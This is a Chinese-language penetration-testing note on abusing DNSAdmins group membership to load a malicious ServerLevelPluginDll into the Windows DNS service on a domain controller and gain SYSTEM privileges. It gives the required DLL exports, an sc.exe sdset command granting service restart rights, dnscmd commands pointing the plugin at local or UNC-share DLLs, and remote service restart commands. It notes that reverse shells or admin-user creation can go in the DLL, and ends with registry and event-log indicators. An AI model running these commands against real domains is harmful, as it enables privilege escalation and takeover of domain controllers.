感染DNSAdmin组用户,为DNS服务配置恶意ServerLevelPluginDll,DNS服务会以system权限加载该Dll,从而达到提权目的。
参考:
https://github.com/kazkansouh/DNSAdmin-DLL
Feature, not bug: DNSAdmin to DC compromise in one line
Abusing DNSAdmins privilege for escalation in Active Directory
域中DNS遵循[MS-DNSP]: Domain Name Service (DNS) Server Management Protocol协议,该协议提供了一组RPC接口用于远程访问和管理DNS服务器。通常DNS Server是DC,它运行着DNS服务,对应服务名“dns”,进程名“dns.exe”。
如上面文档中提到的,如果指定了ServerLevelPluginDll,DNS服务会加载对应的Dll,并调用该Dll实现的DNS查询函数等。DNSAdmins组有权限配置ServerLevelPluginDll (Domain Admins更加可以,但这样显示不出提权效果了),一旦dll以system权限被加载,即可提权成功;dll中可以实现反弹shell、添加用户到管理员组等命令。
如果Dll加载失败,DNS服务也会启动失败,为此dll中必须实现以下三个函数。
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery
以下是mimilib.dll
相关实现,它会在每次DNS Server收到DNS Query时记录Query内容。也可以在DnsPluginInitialize
或DnsPluginQuery
中加入命令执行等。
- 配置重启服务权限,参考
默认情况下DNSAdmins中的用户是不能远程停止、开启DNS Server的,需要在DC上为指定用户SID添加权限。
//This will grant `CC`, `LC`, `RP` and `WP` which correlate to `sc` commands: `qc`, `query`, `start`, `stop`
(A;;CCLCRPWP;;;S-1-5-21-700907644-1504022619-419926652-1101)
> sc.exe sdset "dns" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCRPWP;;;S-1-5-21-2475887593-94489213-2292866110-1103)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
PS C:\Users\Administrator> sc.exe sdshow dns
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCRPWP;;;S-1-5-21-2475887593-94489213-2292866110-1103)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
- 为DNS服务配置ServerLevelPluginDll
此命令在DNSAdmins用户登录的机器上执行即可,dnscmd.exe不是自带的,需要手动拷贝。因为是调用的DNS RPC 接口,所以DC上DNS服务必须是启动的。
//dll已经位于DNS Server上
dnscmd.exe /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
//dll位于DNS Server可以访问的远程地址上,这里试过\\win10-pc\c$\DNSAdmin-DLL.dll,加载不成功
dnscmd.exe /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
设置成功后,会生成以下注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
- 重启DNS服务,dll被加载。
C:\> sc \\ringdc-pc stop dns
C:\> sc \\ringdc-pc start dns
也可以参考域渗透——利用dnscmd在DNS服务器上实现远程加载Dll中,直接Pass the Hash,以Domain Admins用户身份重启服务,这样就不需要做第一步了。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
DNS Server Log Event ID 150 for failure and 770 for success
Microsoft-Windows-DNS-Server/Audit Log Event ID 541 for both success and failure.